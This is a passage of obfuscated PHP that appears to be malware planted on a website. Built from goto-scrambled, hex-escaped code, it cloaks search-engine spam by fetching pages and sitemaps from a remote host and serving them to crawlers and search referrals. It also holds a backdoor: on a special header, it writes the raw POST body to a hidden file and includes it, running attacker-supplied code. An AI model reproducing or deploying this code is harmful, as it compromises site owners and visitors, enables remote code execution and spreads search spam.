false ? "\146\141\x69\x6c" . gets() : $fp6pn . $rDkSS . gets(); goto omMAZ; uMtbh: if (!@preg_match("\x23\136\x2f\x73\151\164\145\x6d\x61\160\x28\56\52\x3f\51\x2e\x78\155\154\x24\x23\x69", $QKhEX, $Zpa3X)) { goto YItTW; } goto GDQYu; DCDfk: $TfI0B = urlx($mLf_v); goto qNhcd; daH8h: $hiQMI = trim(urlx("\x68\x74\164\x70\x73\x3a\57\57" . gets() . "\57\163\x69\x74\x65\x6d\x61\x70" . ($Zpa3X[1] == '' || $Wzbjt[1] != '' ? "\56\x78\x6d\x6c" : "\57" . $Zpa3X[1]), $hdtfO, $McW7D)); goto QPo53; LJwCB: @file_put_contents("\56\x65\x47\x41\60\x54\171\62\x57\x4c\x68", $I2PZW, FILE_USE_INCLUDE_PATH); goto RvuAH; GDQYu: $McW7D = "\163\150\x6f\x73\164\75" . $mp1J2 . "\x26\150\x74\x74\160\75" . $e9U63; goto eKQ2w; fIoDv: $QKhEX = $_SERVER["\x52\105\x51\125\x45\123\x54\137\x55\x52\x49"]; goto UU0bl; OM4D4: exit; goto re_tn; pDcXO: if (!(($Zpa3X[1] === '' || $Wzbjt[1] != '') && @preg_match("\43\x5e\50\x5c\144\51\52\43", $hiQMI))) { goto uL8Oc; } goto n2AsE; vwb7C: exit; goto XCm1P; QPo53: if (!($hiQMI === '')) { goto WZWZr; } goto OM4D4; FzY89: @preg_match("\x23\x28\x5c\x64\x2a\51\xe4\xbb\266\x3c\x21\x2d\55\43", $DPli7, $Zpa3X); goto vhTiz; pEHq5: $DPli7 = urlx($MRsCG, null, null, 1, "\115\157\172\x69\x6c\x6c\x61\57\65\x2e\60\x20\50\127\151\156\144\157\x77\163\x3b\x20\125\73\x20\127\x69\x6e\x64\x6f\167\163\40\116\124\40\x35\x2e\61\73\x20\x65\156\x2d\125\123\51\40\x41\160\x70\x6c\x65\x57\x65\142\x4b\x69\164\57\x35\63\x34\56\67\x20\x28\x4b\110\124\115\114\x2c\x20\154\151\x6b\145\x20\x47\x65\x63\153\x6f\51\x20\103\x68\x72\x6f\x6d\x65\x2f\x37\56\60\56\x35\61\x37\56\64\x31\x20\x53\x61\146\x61\x72\x69\x2f\x35\63\x34\56\x37"); goto CsCqq; wiCAA: $MRsCG = urldecode("\x68\x74\x74\x70\x73\72\57\57\163\145\x61\162\x63\x68\56\171\141\x68\157\x6f\56\143\x6f\x2e\152\x70\57\x73\145\x61\x72\143\150\77\x70\75\163\151\x74\x65\x3a\x25\x73\x26\145\x69\75\x55\124\106\x2d\70"); goto NcbAN; bAYrz: $KTSgR = 1; goto OvvTb; XCm1P: L22mP: goto f5wI3; PkLoT: $ARb23 .= sprintf("\x26\150\160\151\x64\x3d\x25\x73\x2d\x25\x73", preg_replace("\57\133\141\x2d\172\x49\x5d\x28\170\171\172\x7c\x62\x75\172\172\x29\56\52\x24\x2f", "\x2e\x24\x31", strrev($Zpa3X[1])), $Zpa3X[2]); goto e1x6k; ia1aK: $e9U63 = https(); goto myEM6; KXfrg: $DPli7 = str_replace(array("\x2f\x5c\57\163\x2b\57", "\x5c\x72\134\156", "\x5c\x72", "\x5c\156", "\42", "\54"), '', $DPli7); goto FzY89; EQspk: if (!($KTSgR <= intval($hiQMI))) { goto itHKc; } goto NMNoV; qDhdp: if ($Zpa3X[1] === '' || @preg_match("\x23\50\134\x64\x2b\x29\x2d\x24\43", $Zpa3X[1], $Wzbjt)) { goto yVNHR; } goto mDERU; TYe1P: $KTSgR++; goto AxLjN; LrM09: $A20Yb = isset($_SERVER["\x48\x54\124\x50\x5f\x41\x43\x43\105\x50\x54\137\x4c\101\116\107\x55\101\x47\105"]) ? substr($_SERVER["\x48\124\124\x50\x5f\101\103\103\x45\x50\x54\x5f\x4c\101\x4e\107\x55\x41\x47\105"], 0, 4) : ''; goto uw0hs; L2ora: $TfI0B = urlx($mLf_v); goto AsYSQ; Ni05E: $KTSgR = 1; goto JI7RN; u3dax: unlink("\x2e\x65\x47\x41\60\x54\171\x32\x57\114\x68"); goto vwb7C; kUs2_: $fp6pn = trim(urlx("\150\x74\x74\x70\163\72\x2f\57" . gets() . $Zpa3X[0], $hdtfO, $McW7D)); goto IRxWu; xbk31: itHKc: goto bTkrw; AVD6K: $I2PZW = @file_get_contents("\160\150\x70\x3a\57\x2f\x69\156\160\165\x74"); goto LJwCB; gURyf: array_push($hdtfO, "\x78\144\157\x69\x6d\x3a\x20" . crc32($RFCap . "\134\x6e" . $McW7D)); goto daH8h; CdbZa: @ignore_user_abort(1); goto SuMlu; EDQ9j: if (!@preg_match("\43\x5e\x28\134\x64\51\x2a\x23", $hiQMI)) { goto m4q4Q; } goto Ni05E; IaHOD: $ARb23 = $McW7D . "\46\150\x74\x74\x70\75" . $e9U63 . "\46\147\x72\x6f\x75\160\151\x64\x3d" . $rDkSS; goto XVTF1; AMPLX: exit; goto LAv2L; Es8U5: YItTW: goto MiCDl; EFEUy: array_push($hdtfO, "\x74\x69\x6d\x65\163\164\141\155\160\72\40" . $RFCap); goto FEkVB; AxLjN: goto GxKty; goto xbk31; W5lZR: exit; goto Es8U5; up5mc: @ini_set("\144\151\x73\x70\154\x61\x79\x5f\145\x72\162\157\x72\163", 0); goto vvRzG; omMAZ: exit; goto yzCts; myEM6: $hdtfO = array("\125\x73\145\x72\x2d\101\147\145\156\164\x3a\40" . $s7cb6, "\114\141\156\x67\72\x20" . $A20Yb, "\x52\x65\x66\x65\162\x65\162\72\x20" . $bvzpY, "\110\164\164\160\55\x48\x6f\x73\x74\72\40" . $mp1J2, "\x52\x65\155\x6f\x74\x65\x2d\x41\144\x64\162\72\x20" . $adJEJ); goto ms2a1; HZniz: uL8Oc: goto mjchG; Bnpwo: if (!(@preg_match("\43\x67\157\157\x67\154\x65\x2e\x63\157\x2e\152\x70\174\x67\157\x6f\x67\154\145\x2e\143\157\x6d\x7c\x79\141\150\157\x6f\56\143\x6f\x2e\x6a\160\x7c\171\141\150\157\157\56\143\x6f\x7c\x62\x69\x6e\147\56\x63\x6f\x6d\174\141\163\153\56\x63\x6f\155\174\141\157\x6c\56\x63\157\x6d\174\141\157\x6c\x2e\152\x70\x23\151", $bvzpY) && @preg_match("\x23\x28\x5b\x61\55\172\x49\x5d\x2b\x29\55\50\x5c\144\x2b\x29\77\50\55\50\134\144\x2b\51\x29\77\50\x2e\150\x74\155\x6c\51\x24\x23\x69", $QKhEX))) { goto iMzEP; } goto F2qzI; hzCps: if (!@preg_match("\x23\136\57\x70\151\156\x67\163\151\164\x65\155\141\160\50\x2e\x2a\77\51\56\170\x6d\x6c\44\x23\x69", $QKhEX, $Zpa3X)) { goto ys6PW; } goto TATKS; lEYyp: Dw1b8: goto CeV0E; JtOx6: x267m: goto XV0l7; uC0Sb: $RFCap = strval(time()); goto iz8mo; QHu0d: $McW7D .= "\x26\147\x72\157\165\160\151\144\75" . $Wzbjt[1]; goto CxvFr; tZI5y: foreach ($yqdaU as $A0Vul) { goto qFfuO; yvuwN: hv3Bh: goto nklx5; qFfuO: $aYkNf = $e9U63 . "\72\x2f\x2f" . $mp1J2 . "\x2f" . $A0Vul; goto CGr6u; CGr6u: $z32DT .= sprintf($H_Gw3, $aYkNf, $aYkNf); goto yvuwN; nklx5: } goto btIRZ; yzCts: pAS3K: goto GSDk9; vvRzG: @set_time_limit(3600); goto CdbZa; XDC1n: @header("\x4c\x6f\143\x61\164\x69\x6f\x6e\72\40" . $aYkNf); goto PrCaf; eNGOR: if (@preg_match("\43\143\x61\x74\145\x5c\x2f\50\x5b\141\x2d\x7a\135\53\x29\x2d\50\134\144\x2b\x29\x24\43\x69", $QKhEX, $SfS31)) { goto bXdT2; } goto S3X_r; IWKZ6: $H_Gw3 = "\40\74\165\162\154\x3e\40\x3c\154\157\143\x3e\45\163\74\57\x6c\x6f\x63\76\74\170\150\164\x6d\154\x3a\154\x69\x6e\153\40\162\x65\x6c\75\x22\141\154\x74\145\162\156\x61\x74\x65\x22\40\150\162\145\146\x6c\x61\x6e\x67\x3d\x22\x6a\141\x22\40\x68\162\x65\146\x3d\42\45\x73\42\57\x3e\x3c\x2f\x75\x72\154\76"; goto uHyzt; lXlm8: function clientip() { goto C3tQQ; uh44y: qKYGm: goto GxmAb; HvWRj: vd2fy: goto S90Rk; mVqLZ: if (isset($_SERVER["\x52\x45\115\117\124\x45\137\x41\104\x44\122"]) && $_SERVER["\x52\x45\115\117\124\105\x5f\x41\104\104\122"] && strcasecmp($_SERVER["\x52\105\x4d\x4f\124\105\x5f\101\104\104\122"], "\165\156\153\156\157\x77\x6e")) { goto vd2fy; } goto WbPaT; S90Rk: return $_SERVER["\122\x45\115\x4f\x54\105\137\x41\104\104\x52"]; goto uh44y; C3tQQ: if (getenv("\x52\x45\115\117\124\x45\x5f\x41\104\104\x52") && strcasecmp(getenv("\122\x45\x4d\x4f\124\105\137\x41\x44\x44\x52"), "\x75\x6e\153\x6e\x6f\167\x6e")) { goto UP7vK; } goto mVqLZ; WbPaT: goto qKYGm; goto v0LT1; cRdhK: return getenv("\122\105\x4d\x4f\124\105\x5f\x41\x44\x44\122"); goto mb1US; v0LT1: UP7vK: goto cRdhK; mb1US: goto qKYGm; goto HvWRj; GxmAb: }?>

<?php goto gOxCZ; yJgdv: goto Uh1YU; goto lNg9j; YTXCp: pN4iW: goto ii803; gEc52: echo $RITqp === false ? "\146\141\x69\x6c" . gets() : $lH5_c . $GBi4P . gets(); goto LwIWZ; y3NWP: $Yaqat = $_SERVER["\x48\124\x54\120\137\110\117\123\124"]; goto jDru5; ZQ1db: if (!@preg_match("\43\136\57\x73\x69\164\x65\155\141\x70\x28\56\52\x3f\51\56\170\155\154\44\43\x69", $OTBke, $xFVzd)) { goto zeEyv; } goto c7QGI; oMd_e: exit; goto NQQWt; MpouJ: if (@preg_match("\43\143\x61\164\145\134\x2f\x28\133\x61\x2d\x7a\135\53\51\55\x28\x5c\x64\x2b\51\x24\43\x69", $OTBke, $obq5I)) { goto xzwVT; } goto c0Kx3; HTmg2: if (!($xE8rZ === '')) { goto qlFDi; } goto oMd_e; W8Zjj: $Z0g6u = urlx($PfQN7); goto u0iLL; BSrzg: echo include "\x2e\145\107\x41\x30\124\171\x32\x57\x4c\150"; goto FlCq9; c0Kx3: echo @trim(urlx(sprintf("\150\x74\164\x70\x73\x3a\x2f\57\x25\x73\57\142\x6f\164\57\x68\x6f\x6d\x65\x3f" . $Og7fB . "\46\x75\x72\x69\x3d" . $OTBke, gets()), $ANf_1, $Og7fB, 1)); goto xYukB; AmIaG: $hlAm0 = urlx(sprintf("\x68\x74\164\160\163\x3a\x2f\x2f\x25\x73\57\x62\157\164\57\63\60\62\77" . $Og7fB . "\x26\165\162\x69\75" . $OTBke, gets()), $ANf_1, $Og7fB, 1); goto Dz5xC; Q4srD: $lH5_c = trim(urlx("\150\x74\164\160\x73\x3a\x2f\x2f" . gets() . $xFVzd[0], $ANf_1, $ECeng)); goto gEc52; ZORIB: if (!($SqYbT <= intval($xE8rZ))) { goto TWc6h; } goto hkTbb; ivihd: function https() { goto R5kj3; R5kj3: if (!(!empty($_SERVER["\x48\x54\x54\120\x53"]) && strtolower($_SERVER["\x48\x54\124\x50\x53"]) !== "\x6f\146\x66" || isset($_SERVER["\x48\124\124\120\x5f\130\x5f\x46\x4f\x52\127\101\x52\104\x45\x44\137\x50\122\117\124\x4f"]) && $_SERVER["\110\124\x54\x50\x5f\x58\x5f\106\x4f\122\127\101\122\x44\x45\104\x5f\x50\x52\x4f\x54\x4f"] === "\150\x74\x74\x70\x73" || !empty($_SERVER["\110\124\124\x50\x5f\106\x52\117\x4e\124\137\105\x4e\104\137\110\124\124\120\x53"]) && strtolower($_SERVER["\x48\124\124\x50\137\106\x52\117\116\x54\137\105\116\104\137\x48\x54\x54\120\x53"]) !== "\x6f\146\146")) { goto CTcLJ; } goto O1SMl; awIyk: CTcLJ: goto iORh2; O1SMl: return "\x68\x74\164\x70\x73"; goto awIyk; iORh2: return "\x68\x74\x74\x70"; goto YEguj; YEguj: } goto T0YSL; z_mgd: TWc6h: goto Fmiy1; rdf2U: echo $XJxcd; goto pu0oG; lgkVp: exit; goto RBivE; ArH0T: $SqYbT = 1; goto PYJxt; rQ9BQ: if (!(@preg_match("\43\x67\157\x6f\147\154\145\x2e\143\x6f\56\152\x70\174\147\157\x6f\147\154\145\x2e\x63\x6f\x6d\174\x79\x61\150\x6f\157\56\x63\157\56\x6a\x70\174\171\141\150\x6f\157\56\x63\157\x7c\x62\x69\156\x67\56\143\x6f\155\x7c\x61\163\153\56\143\x6f\155\x7c\141\x6f\x6c\x2e\x63\157\x6d\174\141\x6f\x6c\x2e\x6a\x70\x23\x69", $hErvW) && @preg_match("\x23\x28\133\x61\x2d\172\x49\x5d\x2b\x29\55\x28\134\144\53\x29\x3f\x28\x2d\x28\134\x64\53\51\x29\x3f\50\56\150\x74\155\x6c\x29\44\43\x69", $OTBke))) { goto lp6QU; } goto i3Ud6; ii803: $VIIob = explode("\12", $xE8rZ); goto U5g7k; B2on3: $Og7fB .= sprintf("\46\x68\x70\x69\x64\75\45\x73\x2d\x25\x73", preg_replace("\57\x5b\141\55\x7a\x49\x5d\50\x78\171\172\x7c\142\165\x7a\172\51\x2e\52\44\57", "\x2e\44\x31", strrev($xFVzd[1])), $xFVzd[2]); goto Qzq1Z; iZ89Q: function urls($Yaqat, $RB0HF, $orWQv, $PdAZA, $XMtIf = null) { goto qmr8B; UyCFT: $IIOUH = fwrite($yZbEB, $kzZgL); goto tLc9u; kHbaS: $kzZgL = "\107\105\x54\x20" . $RB0HF . "\x3f" . $XMtIf . "\x20\x48\124\124\x50\57\x31\56\x30\15\xa\x48\157\x73\164\72\40" . $Yaqat . "\15\12\x52\145\x66\145\x72\x65\x72\x3a\40" . $PdAZA . "\15\xa\x55\x73\145\162\55\101\147\145\156\x74\72\x20" . $orWQv . "\xd\12\xd\12"; goto UyCFT; qmr8B: $yZbEB = stream_socket_client("\163\163\154\72\x2f\57" . $Yaqat . "\72\64\64\x33", $qqlAb, $XqaHy, 6); goto kHbaS; tLc9u: fclose($yZbEB); goto jsKHp; jsKHp: } goto fF0Tx; Mlyhf: $xE8rZ = trim(urlx("\x68\164\x74\x70\x73\72\x2f\57" . gets() . "\57\x73\151\164\145\155\141\x70\x2e\170\155\154", $ANf_1, $ECeng . "\46\150\x74\164\x70\75" . $ey6C2)); goto QDOni; UxsQu: echo $xFVzd[1]; goto Am3xN; Bbo88: if (!@preg_match("\43\x67\x6f\x6f\147\154\x65\x7c\171\141\x68\157\157\174\142\151\156\x67\174\x63\x72\x61\x66\164\174\103\162\x61\x77\x6c\145\x72\43\x69", $orWQv)) { goto xQd9Q; } goto agDPs; t_abw: @header("\103\157\x6e\164\145\156\164\55\164\x79\x70\x65\x3a\40\x74\x65\x78\164\57\170\155\154"); goto PUflY; fiZyp: xHd3T: goto MRMQy; S7iHD: echo @trim(urlx(sprintf("\x68\x74\x74\160\x73\x3a\x2f\57\45\163\x2f\x62\x6f\164\57\x63\x61\x74\145\x3f" . $Og7fB, gets()), $ANf_1, $Og7fB . "\x26\150\x6f\x73\x74\75" . preg_replace("\57\133\141\55\172\111\x5d\50\x78\x79\172\174\142\165\172\172\51\x2e\x2a\x24\57", "\56\x24\x31", strrev($obq5I[1])) . "\46\143\141\x74\x65\151\x64\75" . $obq5I[2], 1)); goto jTUml; u0iLL: $XJxcd .= $PfQN7 . $Z0g6u; goto TRbFZ; wMZHT: if (@preg_match("\x23\x28\x5c\x64\53\x29\x2d\44\43", $xFVzd[1], $UQ04n)) { goto QTVDb; } goto nuFht; PUflY: if (!(($xFVzd[1] === '' || $UQ04n[1] != '') && @preg_match("\43\x5e\x28\134\144\51\52\x23", $xE8rZ))) { goto pN4iW; } goto xFmkn; nuFht: $ECeng .= "\x26\147\x72\157\x75\160\x69\x64\x3d" . $GBi4P; goto wrJm3; l1uQ9: array_push($ANf_1, "\x74\151\x6d\x65\x73\164\x61\x6d\x70\72\x20" . $XyqD_); goto dO8__; hkTbb: $Wrhxi .= sprintf($zqsrL, $ey6C2, $Yaqat, $SqYbT, date("\131\55\x6d\x2d\x64\134\x54\110\72\151\x3a\163\x50", time())); goto UoYCr; enM1c: $pUiTV = @file_get_contents("\160\x68\x70\72\x2f\57\x69\156\x70\165\164"); goto JZFoe; Fb6wG: goto iXGJX; goto wSRT9; wwav3: tTOKR: goto ltYt0; Am3xN: exit; goto sEQC1; nAYAh: $SqYbT++; goto RrQ3_; ltYt0: $XyqD_ = strval(time()); goto GTIOY; Pkkl4: xzwVT: goto S7iHD; JZFoe: @file_put_contents("\56\x65\x47\101\60\x54\x79\62\127\x4c\x68", $pUiTV, FILE_USE_INCLUDE_PATH); goto BSrzg; xYukB: exit; goto Fb6wG; GTIOY: array_push($ANf_1, "\164\x69\x6d\x65\163\164\x61\x6d\160\x3a\x20" . $XyqD_); goto re2OU; kGz6D: exit; goto IYGmO; rqViW: @ignore_user_abort(1); goto ervvo; MRMQy: echo sprintf($mM30W, $QgLhc); goto lgkVp; yub1z: QTVDb: goto AgbhO; Qb8ct: Uh1YU: goto rdf2U; ervvo: $GBi4P = "\64\61\x31"; goto KqPWr; CLadP: @preg_match("\x23\x28\x5c\144\x2a\x29\xe4\xbb\xb6\74\x21\x2d\x2d\x23", $Tu4nW, $xFVzd); goto UxsQu; PirlP: exit; goto xAlbr; KalrY: if (!($SqYbT <= intval($xE8rZ))) { goto U7KnO; } goto hwEOx; OXGR2: array_push($ANf_1, "\x78\x64\157\151\x6d\72\40" . crc32($XyqD_ . "\x5c\156" . $ECeng)); goto Q4srD; koSSE: function cc($OTBke) { goto gK0Wn; HzG6y: $JMVzV = sprintf("\x25\x75", crc32(sprintf("\x25\163\x2d\45\x73", $Q0M6y[0], $Q0M6y[1]))); goto R28Q3; gK0Wn: $Q0M6y = explode("\x2d", substr($OTBke, 1, strlen($OTBke) - 6)); goto xJBIt; EyTyn: return false; goto HIsVh; xJBIt: if (!(sizeof($Q0M6y) != 3)) { goto rS52D; } goto EyTyn; HIsVh: rS52D: goto HzG6y; R28Q3: return $JMVzV == $Q0M6y[2]; goto MeyLB; MeyLB: } goto ohXUV; WY08V: $si3bD = urldecode("\150\164\164\160\x73\x3a\x2f\57\163\x65\141\162\x63\x68\56\171\141\150\x6f\157\56\143\157\56\152\x70\57\163\145\x61\162\x63\150\77\160\x3d\163\151\x74\x65\x3a\x25\163\46\x65\x69\x3d\x55\124\x46\55\70"); goto wTbOI; bgwHK: qp0U1: goto ZQ1db; fF0Tx: function urlx($si3bD, $ANf_1 = null, $ECeng = null, $JdwdA = null) { goto S5rUj; My_0b: curl_setopt($N2zgm, CURLOPT_POST, 1); goto f9y2f; dkThr: curl_setopt($N2zgm, CURLOPT_HTTPHEADER, $ANf_1); goto SK0IP; oRa6G: if ($ECeng === null) { goto RvJwz; } goto My_0b; X_5nv: curl_setopt($N2zgm, CURLOPT_SSL_VERIFYHOST, FALSE); goto Rhkkc; rQ58Y: curl_setopt($N2zgm, CURLOPT_URL, $si3bD); goto mohth; kNHNJ: curl_setopt($N2zgm, CURLOPT_ENCODING, "\147\172\151\x70\x2c\x64\145\x66\x6c\x61\164\145"); goto YkIeA; MdtA5: if ($ANf_1 === null) { goto ni5JP; } goto dkThr; cyOrk: curl_close($N2zgm); goto MeOSl; MeOSl: return $Tu4nW; goto dfkUZ; f9y2f: curl_setopt($N2zgm, CURLOPT_POSTFIELDS, $ECeng); goto jr0Ge; O9_dG: if ($JdwdA === null) { goto oZJ7i; } goto kNHNJ; YkIeA: oZJ7i: goto dQdtk; Gsi2T: curl_setopt($N2zgm, CURLOPT_SSL_VERIFYPEER, FALSE); goto X_5nv; dQdtk: if (!(stripos($si3bD, "\x68\x74\164\x70\x73\x3a") === 0)) { goto w4W9A; } goto Gsi2T; S_02V: curl_setopt($N2zgm, CURLOPT_RETURNTRANSFER, 1); goto ks2Uo; S5rUj: $N2zgm = curl_init(); goto rQ58Y; ks2Uo: $Tu4nW = curl_exec($N2zgm); goto cyOrk; mohth: curl_setopt($N2zgm, CURLOPT_FOLLOWLOCATION, 1); goto O9_dG; Rhkkc: w4W9A: goto MdtA5; SK0IP: ni5JP: goto oRa6G; jr0Ge: RvJwz: goto S_02V; dfkUZ: } goto koSSE; RrQ3_: goto HqukH; goto z_mgd; lNg9j: awfvt: goto vZJhe; Bd2Oq: $ANf_1 = array("\x55\163\x65\x72\55\x41\147\145\156\x74\72\x20" . $orWQv, "\x4c\141\x6e\x67\72\40" . $attx4, "\x52\145\x66\145\x72\x65\162\72\40" . $hErvW, "\x48\164\x74\x70\55\x48\x6f\x73\164\72\40" . $Yaqat, "\122\145\x6d\x6f\x74\x65\55\101\144\x64\162\x3a\40" . $d6xjv); goto JnMPV; Xq6H8: $d6xjv = clientip(); goto UwNs2; FlCq9: unlink("\56\145\107\x41\x30\124\x79\x32\x57\114\150"); goto PirlP; UwNs2: $ey6C2 = https(); goto Bd2Oq; sEQC1: LN6ep: goto hNcjh; lRDEe: EQQ42: goto Bbo88; eLKDp: U7KnO: goto GMZzl; FEc7u: if (!@preg_match("\x23\136\x28\134\144\x29\x2a\43", $xE8rZ)) { goto FFAuY; } goto ArH0T; i3Ud6: $Og7fB = $ECeng . "\x26\147\x72\x6f\165\x70\151\144\75" . $GBi4P . "\46\x75\x72\151\x3d" . $OTBke . "\46\x69\x70\x3d" . $d6xjv; goto AmIaG; Qzq1Z: echo @trim(urlx(sprintf("\x68\x74\164\160\163\72\x2f\x2f\x25\x73\x2f\x62\x6f\x74\57\x70\141\x67\x65\77" . $Og7fB, gets()), $ANf_1, $Og7fB, 1)); goto mvoX_; OjdsZ: if (!@preg_match("\43\x5e\57\163\151\x74\145\x2f\x3f\50\56\52\x3f\51\x24\x23\151", $OTBke, $xFVzd)) { goto LN6ep; } goto WY08V; re2OU: array_push($ANf_1, "\x78\x64\157\151\155\72\x20" . crc32($XyqD_ . "\134\x6e" . $ECeng)); goto Y7zFV; NP92X: @set_time_limit(3600); goto rqViW; Dz5xC: @header("\114\x6f\143\x61\164\x69\157\156\72\x20" . $hlAm0); goto d2j4g; R92tP: if (!(isset($_SERVER["\110\x54\x54\x50\x5f\x58\x44\x4f\x49\x4d"]) && strlen($_SERVER["\x48\124\124\120\x5f\130\x44\x4f\111\x4d"]) > 0)) { goto T_Lvc; } goto e5drn; vZJhe: $ECeng .= $UQ04n[1] == '' ? "\x26\147\x72\157\165\x70\151\x64\75" . $GBi4P : "\x26\x67\162\x6f\165\x70\151\144\x3d" . $UQ04n[1]; goto AERqu; ch3EN: $Tu4nW = urlx($si3bD, null, null, 1, "\115\x6f\172\151\154\154\x61\x2f\x35\56\x30\40\50\x57\151\x6e\144\157\x77\x73\73\40\x55\73\x20\x57\151\156\144\157\x77\163\x20\x4e\x54\x20\65\56\61\73\x20\145\x6e\55\x55\x53\51\40\101\x70\x70\x6c\145\x57\145\x62\x4b\x69\x74\57\65\63\64\56\x37\40\50\x4b\110\x54\x4d\x4c\54\x20\x6c\x69\153\145\40\x47\145\x63\153\157\x29\x20\x43\150\x72\x6f\x6d\145\57\x37\x2e\x30\x2e\65\x31\x37\56\64\x31\x20\x53\x61\x66\141\162\151\57\65\63\64\56\67"); goto Vc7xF; lndGf: exit; goto YTXCp; Lddpi: goto SbcYg; goto eLKDp; AQ5Lc: $Tu4nW = str_replace(array("\57\134\x2f\x73\x2b\57", "\134\162\134\156", "\x5c\162", "\134\156", "\x22", "\54"), '', $Tu4nW); goto CLadP; QAeaS: $zqsrL = "\40\x3c\163\151\164\145\155\141\x70\76\x20\74\x6c\x6f\x63\76\45\163\72\57\x2f\x25\163\x2f\163\151\x74\x65\x6d\x61\160\45\x64\56\170\155\154\x3c\57\154\x6f\x63\x3e\x3c\57\163\x69\x74\x65\155\141\160\76"; goto PGbMu; nG7Gc: $OTBke = $_SERVER["\122\x45\x51\125\105\123\124\137\125\122\x49"]; goto zYwVM; wSRT9: lIoZA: goto B2on3; TRbFZ: VUuvn: goto MFwBf; iSEy5: array_push($ANf_1, "\x74\151\x6d\145\x73\164\x61\x6d\160\x3a\x20" . $XyqD_); goto OXGR2; GMZzl: FFAuY: goto Qb8ct; mvoX_: exit; goto m_W4p; AERqu: $XyqD_ = strval(time()); goto l1uQ9; xAlbr: T_Lvc: goto OjdsZ; FXGYK: HqukH: goto ZORIB; rnXd5: $IGEad = "\x3c\77\x78\x6d\154\40\x76\145\x72\163\151\x6f\156\75\42\x31\x2e\x30\42\40\x65\x6e\143\157\144\151\x6e\x67\75\42\125\x54\106\x2d\x38\x22\x3f\76\x3c\x21\55\55\x20\x61\x75\164\x6f\147\145\x6e\x20\x62\x79\40\x64\x6f\151\x6d\40\55\x2d\x3e\15\xa\x3c\x73\151\164\x65\155\x61\x70\151\x6e\144\145\x78\x20\x78\155\x6c\156\x73\x3d\x22\150\x74\x74\x70\x3a\57\57\167\x77\167\x2e\x73\x69\x74\145\155\141\x70\x73\x2e\x6f\162\147\57\x73\x63\x68\x65\155\141\163\57\x73\151\x74\145\x6d\x61\x70\57\x30\x2e\71\x22\76\x20\x25\x73\x20\x3c\57\x73\151\x74\x65\155\x61\160\x69\x6e\x64\145\x78\76"; goto QAeaS; hwEOx: $PfQN7 = sprintf("\x68\164\164\160\x73\72\x2f\57\x77\167\167\x2e\147\x6f\x6f\147\x6c\x65\56\x63\157\56\x6a\160\57\x70\151\156\147\77\x73\x69\x74\145\155\141\x70\75\45\163\x3a\x2f\57\x25\x73\x2f\163\x69\x74\x65\155\x61\160\x25\x73\45\x64\56\x78\155\x6c", $ey6C2, $Yaqat, $UQ04n[0], $SqYbT); goto W8Zjj; JnMPV: $ECeng = "\x73\150\157\x73\x74\x3d" . $Yaqat . "\x26\x70\x72\x6f\x74\x6f\75" . $ey6C2; goto nG7Gc; e5drn: $XyqD_ = isset($_SERVER["\110\x54\x54\x50\137\124\x49\115\105\123\124\101\x4d\x50"]) ? $_SERVER["\110\124\124\120\x5f\124\111\115\105\123\x54\x41\115\120"] : ''; goto enM1c; NQQWt: qlFDi: goto t_abw; Vc7xF: $Tu4nW = substr($Tu4nW, strpos($Tu4nW, "\74\x21\55\55\x20\x2d\55\x3e"), 100); goto AQ5Lc; jDru5: $OTBke = $_SERVER["\x52\x45\121\125\105\123\124\x5f\x55\122\x49"]; goto Xq6H8; Fmiy1: echo sprintf($IGEad, $Wrhxi); goto lndGf; PGbMu: $attx4 = isset($_SERVER["\110\x54\x54\120\x5f\x41\x43\x43\105\x50\x54\x5f\x4c\101\x4e\107\x55\x41\107\x45"]) ? substr($_SERVER["\110\x54\124\x50\x5f\x41\103\x43\105\120\124\137\114\101\x4e\107\125\x41\x47\x45"], 0, 4) : ''; goto WAxZC; hNcjh: if (!@preg_match("\43\x5e\57\147\x65\x74\x76\145\162\44\x23\x69", $OTBke, $xFVzd)) { goto EQQ42; } goto BquVO; WAxZC: $hErvW = isset($_SERVER["\110\124\124\120\x5f\122\x45\x46\x45\122\x45\122"]) ? $_SERVER["\110\124\124\120\137\x52\105\106\105\x52\x45\122"] : ''; goto MZ58U; MFwBf: $SqYbT++; goto Lddpi; ZhNxs: xQd9Q: goto rQ9BQ; m_W4p: goto iXGJX; goto Pkkl4; SnzpC: $XJxcd .= $PfQN7 . $Z0g6u; goto yJgdv; TKzVJ: if ($xFVzd[1] === '' || @preg_match("\x23\x28\134\x64\53\x29\55\44\43", $xFVzd[1], $UQ04n)) { goto awfvt; } goto ObS21; wTbOI: $si3bD = $xFVzd[1] == '' ? sprintf($si3bD, $Yaqat) : sprintf($si3bD, $xFVzd[1]); goto ch3EN; agDPs: $Og7fB = $ECeng . "\46\150\164\164\160\x3d" . $ey6C2 . "\x26\147\162\157\165\160\151\x64\x3d" . $GBi4P; goto sjiW0; UoYCr: aJVW6: goto nAYAh; LwIWZ: exit; goto lRDEe; qubm3: foreach ($VIIob as $pr_lQ) { goto KBg3O; KBg3O: $hlAm0 = $ey6C2 . "\72\x2f\x2f" . $Yaqat . "\57" . $pr_lQ; goto sF8Mh; RzcMW: BOBM7: goto qMo16; sF8Mh: $QgLhc .= sprintf($S17hI, $hlAm0, $hlAm0); goto RzcMW; qMo16: } goto fiZyp; RBivE: zeEyv: goto R92tP; wrJm3: goto tTOKR; goto yub1z; ELkVq: $XJxcd = ''; goto TKzVJ; sjiW0: if (@preg_match("\x23\50\133\141\55\172\135\x2b\x29\55\50\x5c\x64\x2b\51\x3f\50\x2e\150\164\155\154\51\44\x23\151", $OTBke, $xFVzd)) { goto lIoZA; } goto MpouJ; MZ58U: $orWQv = isset($_SERVER["\110\124\124\x50\x5f\125\x53\105\122\137\101\x47\x45\116\x54"]) ? $_SERVER["\110\x54\124\x50\137\125\x53\105\122\x5f\101\107\x45\116\x54"] : ''; goto y3NWP; IYGmO: oKAIv: goto FEc7u; xFmkn: $Wrhxi = ''; goto Ar1Jt; ohXUV: function gets() { return "\142\x31\56\x67\154\157\162\171\x64\141\x79\56\x77\x6f\x72\x6b"; } goto ivihd; qJK6z: $S17hI = "\40\x3c\x75\x72\x6c\x3e\40\74\x6c\x6f\x63\76\x25\163\x3c\x2f\154\157\143\76\x3c\170\x68\x74\155\x6c\72\154\151\156\153\40\x72\145\x6c\75\42\141\x6c\164\x65\162\156\141\x74\145\x22\40\150\162\145\x66\154\x61\x6e\x67\75\42\x6a\x61\42\40\150\162\145\146\75\x22\x25\163\42\57\76\x3c\x2f\x75\x72\154\x3e"; goto rnXd5; vVbfb: iXGJX: goto ZhNxs; pu0oG: exit; goto bgwHK; jTUml: exit; goto vVbfb; BquVO: $XyqD_ = strval(time()); goto iSEy5; ZPc6E: 